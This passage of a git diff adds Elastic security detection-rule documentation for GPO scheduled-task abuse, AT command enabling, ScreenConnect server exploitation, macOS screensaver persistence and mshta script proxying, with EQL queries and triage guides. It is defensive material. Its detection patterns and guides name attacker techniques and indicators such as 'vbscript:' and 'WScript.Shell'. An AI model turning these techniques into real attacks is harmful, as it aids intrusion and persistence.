Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-scheduled-task-execution-at-scale-via-gpo.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-scheduled-task-execution-at-scale-via-gpo.asciidoc new file mode 100644 index 0000000000..35ef64c280 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-scheduled-task-execution-at-scale-via-gpo.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-34-scheduled-task-execution-at-scale-via-gpo]] +=== Scheduled Task Execution at Scale via GPO + +Detects the modification of Group Policy Object attributes to execute a scheduled task in the objects controlled by the GPO. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/atc-project/atc-data/blob/master/docs/Logging_Policies/LP_0025_windows_audit_directory_service_changes.md +* https://github.com/atc-project/atc-data/blob/f2bbb51ecf68e2c9f488e3c70dcdd3df51d2a46b/docs/Logging_Policies/LP_0029_windows_audit_detailed_file_share.md +* https://labs.f-secure.com/tools/sharpgpoabuse +* https://twitter.com/menasec1/status/1106899890377052160 +* https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/security/win_gpo_scheduledtasks.yml + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Lateral Movement +* Data Source: Active Directory +* Resources: Investigation Guide +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Scheduled Task Execution at Scale via GPO* + + +Group Policy Objects (GPOs) can be used by attackers to execute scheduled tasks at scale to compromise objects controlled by a given GPO. This is done by changing the contents of the `\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml` file. + + +*Possible investigation steps* + + +- This attack abuses a legitimate mechanism of Active Directory, so it is important to determine whether the activity is legitimate and the administrator is authorized to perform this operation. +- Retrieve the contents of the `ScheduledTasks.xml` file, and check the `` and `` XML tags for any potentially malicious commands or binaries. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Scope which objects may be compromised by retrieving information about which objects are controlled by the GPO. + + +*False positive analysis* + + +- Verify if the execution is allowed and done under change management, and if the execution is legitimate. + + +*Related rules* + + +- Group Policy Abuse for Privilege Addition - b9554892-5e0e-424b-83a0-5aef95aa43bf +- Startup/Logon Script added to Group Policy Object - 16fac1a1-21ee-4ca6-b720-458e3855d046 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- The investigation and containment must be performed in every computer controlled by the GPO, where necessary. +- Remove the script from the GPO. +- Check if other GPOs have suspicious scheduled tasks attached. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +The following Windows audit policies must be enabled to generate the events used by this rule: +- https://ela.st/audit-directory-service-changes[Audit Directory Service Changes] +- https://ela.st/audit-detailed-file-share[Audit Detailed File Share] + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and event.code in ("5136", "5145") and +( + ( + winlog.event_data.AttributeLDAPDisplayName : ( + "gPCMachineExtensionNames", + "gPCUserExtensionNames" + ) and + winlog.event_data.AttributeValue : "*CAB54552-DEEA-4691-817E-ED4A4D1AFC72*" and + winlog.event_data.AttributeValue : "*AADCED64-746C-4633-A97C-D61349046527*" + ) or + ( + winlog.event_data.ShareName : "\\\\*\\SYSVOL" and + winlog.event_data.RelativeTargetName : "*ScheduledTasks.xml" and + winlog.event_data.AccessList:"*%%4417*" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Group Policy Modification +** ID: T1484.001 +** Reference URL: https://attack.mitre.org/techniques/T1484/001/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Lateral Tool Transfer +** ID: T1570 +** Reference URL: https://attack.mitre.org/techniques/T1570/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-scheduled-tasks-at-command-enabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-scheduled-tasks-at-command-enabled.asciidoc new file mode 100644 index 0000000000..0b2b6161be --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-scheduled-tasks-at-command-enabled.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-34-scheduled-tasks-at-command-enabled]] +=== Scheduled Tasks AT Command Enabled + +Identifies attempts to enable the Windows scheduled tasks AT command via the registry. Attackers may use this method to move laterally or persist locally. The AT command has been deprecated since Windows 8 and Windows Server 2012, but still exists for backwards compatibility. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-scheduledjob + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Scheduled Tasks AT Command Enabled* + + +The AT command, a legacy Windows utility, schedules tasks for execution, often used for automation. Despite its deprecation post-Windows 8, it remains for compatibility, posing a security risk. Attackers exploit it to maintain persistence or move laterally. The detection rule monitors registry changes enabling this command, flagging potential misuse by checking specific registry paths and values indicative of enabling the AT command. + + +*Possible investigation steps* + + +- Review the registry event logs to confirm the change in the registry path "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration\EnableAt" and verify if the value was set to "1" or "0x00000001". +- Identify the user account and process responsible for the registry change by examining the event logs for associated user and process information. +- Check for any scheduled tasks created or modified around the time of the registry change to determine if the AT command was used to schedule any tasks. +- Investigate the system for any signs of lateral movement or persistence mechanisms that may have been established using the AT command. +- Correlate the event with other security alerts or logs from data sources like Elastic Endgame, Elastic Defend, Sysmon, Microsoft Defender XDR, or SentinelOne to gather additional context and assess the scope of potential malicious activity. + + +*False positive analysis* + + +- System administrators or IT management tools may enable the AT command for legacy support or compatibility testing. Verify if the change aligns with scheduled maintenance or updates. +- Some enterprise environments might have legacy applications that rely on the AT command for task scheduling. Confirm with application owners if such dependencies exist and document them. +- Security software or monitoring tools might trigger registry changes as part of their normal operation. Cross-reference with logs from these tools to ensure the change is benign. +- If a specific user or system frequently triggers this alert without malicious intent, consider creating an exception for that user or system in your monitoring solution to reduce noise. +- Regularly review and update the list of exceptions to ensure they remain relevant and do not inadvertently allow malicious activity. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further lateral movement or persistence by the attacker. +- Review the registry changes identified in the alert to confirm unauthorized enabling of the AT command. Revert the registry setting to its secure state by setting the value to "0" or "0x00000000". +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious software or scripts. +- Investigate user accounts and permissions on the affected system to ensure no unauthorized accounts or privilege escalations have occurred. Reset passwords for any compromised accounts. +- Monitor network traffic and logs for any signs of data exfiltration or communication with known malicious IP addresses or domains. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. +- Implement enhanced monitoring and alerting for similar registry changes across the network to detect and respond to future attempts promptly. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.value : "EnableAt" and + registry.data.strings : ("1", "0x00000001") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: At +** ID: T1053.002 +** Reference URL: https://attack.mitre.org/techniques/T1053/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-screenconnect-server-spawning-suspicious-processes.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-screenconnect-server-spawning-suspicious-processes.asciidoc new file mode 100644 index 0000000000..89b0afdd58 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-screenconnect-server-spawning-suspicious-processes.asciidoc @@ -0,0 +1,206 @@ +[[prebuilt-rule-8-19-34-screenconnect-server-spawning-suspicious-processes]] +=== ScreenConnect Server Spawning Suspicious Processes + +Identifies suspicious processes being spawned by the ScreenConnect server process (ScreenConnect.Service.exe). This activity may indicate exploitation activity or access to an existing web shell backdoor. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blackpointcyber.com/resources/blog/breaking-through-the-screen/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Remote Management Tool Abuse +* Threat: Web Shell +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating ScreenConnect Server Spawning Suspicious Processes* + + + +*Possible investigation steps* + + +- Does the alert prove ScreenConnect application-server execution rather than client-side remote command use? + - Why: the reference separates server compromise from routine client deployment; server-side abuse uses "ScreenConnect.Service.exe", while client-side commands usually involve "ScreenConnect.ClientService.exe". + - Focus: alert-local `process.parent.name`, `process.parent.executable`, `process.name`, `process.pe.original_file_name`, `host.id`, and `host.name`. + - Implication: escalate sooner when "ScreenConnect.Service.exe" on the application server spawned "cmd.exe", PowerShell, or "csc.exe"; lower suspicion only when parent or host evidence proves this is not server-side execution, then resolve the mismatch before applying this guide. + +- Is the spawned child the genuine Windows tool expected by its name? + - Focus: `process.executable`, `process.hash.sha256`, `process.pe.original_file_name`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. + - Implication: escalate when the child runs from a user-writable or ScreenConnect content path, is unsigned or untrusted, or PE metadata does not match the shell, PowerShell, or compiler name; confirmed identity says what ran, not that the launch is benign. + +- What intent is visible in the child command line and service context? + - Why: ScreenConnect server exploitation often inherits the service identity, so SYSTEM or the expected service account does not reduce risk by itself. + - Focus: `process.command_line`, `process.parent.command_line`, and `user.id`. + - Implication: escalate when the command shows encoded PowerShell, download or staging, account creation, service changes, webshell-style shell use, or "csc.exe" compiling from temporary or ScreenConnect content paths; lower suspicion only for narrow maintenance, extension, or vendor-support action and later evidence agrees. + +- Do ScreenConnect server artifacts corroborate authentication bypass, extension traversal, or webshell staging? + - Why: the reference describes CVE-2024-1709 admin-user changes in "Users.xml" and CVE-2024-1708 web-accessible ASP.NET content under "App_Extensions". + - Focus: if file telemetry exists, query file events on `host.id` where `process.entity_id` equals server service `process.parent.entity_id`; if absent, pivot on `host.id`, service PID, and alert time, then review `file.path` and `file.name` for "Users.xml", "App_Extensions", ASP.NET files, or extension archives. !{investigate{"description":"","label":"File events for the ScreenConnect server process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if file telemetry is unavailable or empty, inspect those server paths directly; missing file telemetry is unresolved, not benign. + - Implication: escalate when "Users.xml" shows an unexpected admin, "App_Extensions" contains a lone ASP.NET file, or extension content appears outside GUID-scoped folders; lower suspicion only when artifacts stay inside expected extension paths and process evidence supports the same workflow. + +- Did the spawned child make network connections consistent with follow-on tooling or external control? + - Focus: if network telemetry exists, query `host.id` and child `process.entity_id`; if absent, pivot on `host.id`, `process.pid`, and alert time, separating DNS `dns.question.name` from connection `destination.ip`, `destination.port`, and `destination.as.organization.name`. !{investigate{"description":"","label":"Network events for the spawned child process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: Missing network telemetry is unresolved, not benign. + - Implication: escalate when the shell, PowerShell, or compiler reaches a public destination with no ScreenConnect/vendor relationship, a staging domain, or any destination inconsistent with the recovered command; lower suspicion for absent destinations only after telemetry is verified and local process/artifact evidence resolve cleanly. + +- Do related host alerts change scope when local findings are suspicious or unresolved? + - Focus: child process starts, additional children from the same ScreenConnect service parent, plus related alerts for `host.id`, especially webshell, persistence, credential-access, service-creation, or secondary-RMM alerts. !{investigate{"description":"","label":"Child process events from the suspicious child","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + !{investigate{"description":"","label":"Process events from the same ScreenConnect service","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden response scope when the ScreenConnect server also shows exploitation, persistence, credential access, or secondary remote-access activity; keep scope local only when this alert is isolated and process, artifact, and destination evidence all resolve to one exact benign workflow. + +- Escalate when server-side parentage combines with suspicious child identity or command intent, or artifacts, destinations, or related alerts support compromise; close only when process evidence and recovery tie to one exact ScreenConnect maintenance, extension, or vendor-support workflow with no contradictions; preserve artifacts and escalate when evidence is mixed or visibility is incomplete. + + +*False positive analysis* + + +- ScreenConnect server maintenance, extension installation, or vendor troubleshooting can legitimately spawn "powershell.exe", "cmd.exe", or "csc.exe". Confirm the same workflow across child identity, signer or hash, command intent, `host.id`, `user.id`, recovered server artifacts, and destinations when network telemetry exists. Use change records or vendor cases as corroboration, not a replacement for telemetry gaps. +- Do not treat generic administrative scripting or compile activity as benign on a ScreenConnect server. Confirm only narrow recurring service workflow: same parent path, child identity, command pattern, `user.id`, and quiet artifact or destination pattern on the same `host.id` across prior alerts or source events when external records are unavailable. One-off shells, downloaders, account changes, or root-level "App_Extensions" files remain suspicious. +- Before creating an exception, build it from the minimum confirmed workflow pattern: `process.parent.executable`, `process.executable`, a constrained `process.command_line` pattern, stable signer or hash, `host.id`, and the specific ScreenConnect maintenance or extension context. Avoid exceptions on `process.name` or "ScreenConnect.Service.exe" alone. + + +*Response and remediation* + + +- Before restriction or cleanup in suspicious cases, preserve a case export of the alert process and parent records, recovered file and network events, ScreenConnect and IIS logs around the alert time, "Users.xml", the "App_Extensions" tree, suspicious extension archives or ASP.NET files, and staged payloads. +- If confirmed benign, reverse temporary restrictions and document evidence proving the workflow: parent and child identity, command intent, server scope, expected ScreenConnect artifacts, and expected destinations if present. Build a narrow exception only after the same workflow recurs consistently. +- If suspicious but unconfirmed, apply reversible containment tied to the findings: restrict public access to the ScreenConnect web interface, temporarily limit egress from the affected `host.id`, or suspend a newly created ScreenConnect admin account where operationally safe. Weigh server criticality before full host isolation. +- If confirmed malicious, preserve the artifacts above before terminating processes or deleting files. Then isolate the server or disable public exposure, remove malicious admin accounts, webshells, extensions, secondary RMM services, and other persistence found during the investigation, and rotate compromised ScreenConnect, service, or domain credentials. +- Patch ScreenConnect to a fixed version and review whether the attacker used the server to reach managed clients or create admin or service accounts. +- After containment, retain process, file, and network telemetry needed for future ScreenConnect investigations, restrict who can manage extensions or internet exposure, and document any telemetry gaps that limited this investigation. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "ScreenConnect.Service.exe" and + (process.name : ("cmd.exe", "powershell.exe", "pwsh.exe", "powershell_ise.exe", "csc.exe") or + ?process.pe.original_file_name in ("Cmd.Exe", "PowerShell.EXE", "pwsh.dll", "powershell_ise.EXE", "csc.exe")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-screensaver-plist-file-modified-by-unexpected-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-screensaver-plist-file-modified-by-unexpected-process.asciidoc new file mode 100644 index 0000000000..ce508f1c99 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-screensaver-plist-file-modified-by-unexpected-process.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-34-screensaver-plist-file-modified-by-unexpected-process]] +=== Screensaver Plist File Modified by Unexpected Process + +Identifies when a screensaver plist file is modified by an unexpected process. An adversary can maintain persistence on a macOS endpoint by creating a malicious screensaver (.saver) file and configuring the screensaver plist file to execute code each time the screensaver is activated. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://posts.specterops.io/saving-your-access-d562bf5bf90b +* https://github.com/D00MFist/PersistentJXA + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +- Analyze the plist file modification event to identify whether the change was expected or not +- Investigate the process that modified the plist file for malicious code or other suspicious behavior +- Identify if any suspicious or known malicious screensaver (.saver) files were recently written to or modified on the host + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "macos" and event.action == "modification" and + file.name like~ "com.apple.screensaver.*.plist" and + file.path like ( + "/Users/*/Library/Preferences/ByHost/*", + "/Library/Managed Preferences/*", + "/System/Library/Preferences/*" + ) and + ( + process.code_signature.trusted == false or + process.code_signature.exists == false or + + /* common script interpreters and abused native macOS bins */ + process.name like~ ( + "curl", + "mktemp", + "tail", + "funzip", + "python*", + "osascript", + "perl" + ) + ) and + + /* Filter OS processes modifying screensaver plist files */ + not process.executable like ( + "/usr/sbin/cfprefsd", + "/usr/libexec/xpcproxy", + "/System/Library/CoreServices/ManagedClient.app/Contents/Resources/MCXCompositor", + "/System/Library/CoreServices/ManagedClient.app/Contents/MacOS/ManagedClient" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Screensaver +** ID: T1546.002 +** Reference URL: https://attack.mitre.org/techniques/T1546/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-script-execution-via-microsoft-html-application.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-script-execution-via-microsoft-html-application.asciidoc new file mode 100644 index 0000000000..a7425f6814 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-script-execution-via-microsoft-html-application.asciidoc @@ -0,0 +1,231 @@ +[[prebuilt-rule-8-19-34-script-execution-via-microsoft-html-application]] +=== Script Execution via Microsoft HTML Application + +Identifies the execution of scripts via HTML applications using Windows utilities rundll32.exe or mshta.exe. Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed binaries. + +*Rule type*: eql + +*Rule indices*: + +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-crowdstrike.fdr* +* endgame-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Windows Security Event Logs +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Script Execution via Microsoft HTML Application* + + + +*Possible investigation steps* + + +- Which HTML-application proxy path did the alert capture? + - Why: proxy path determines the containment target. + - Focus: `process.name`, `process.command_line`, and `process.args_count`: ".hta", ".htm", "vbscript:", "javascript:", "GetObject("script:")", "mshtml,RunHTMLApplication", "mshtml,#135", "http", "WScript.Shell", "StrReverse", "window.close(", or "Chr(". + - Implication: escalate on inline script, remote retrieval, obfuscation, "RunHTMLApplication", archive/temp execution, or non-HTA "mshta.exe"; lower concern only for one stable internal HTA/HTM path with no inline script, remote locator, or obfuscation. + +- Is the proxy binary a genuine Microsoft LOLBin or a masqueraded executable? + - Focus: `process.executable`, `process.pe.original_file_name`, `process.hash.sha256`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. + - Implication: escalate when "mshta.exe" or "rundll32.exe" runs from a user-writable or non-Windows path, has a mismatched original filename, or lacks a trusted Microsoft signature; canonical Microsoft identity lowers masquerade risk but does not clear suspicious arguments. + +- What parent and user context explain the launch? + - Focus: `process.parent.executable`, `process.parent.command_line`, 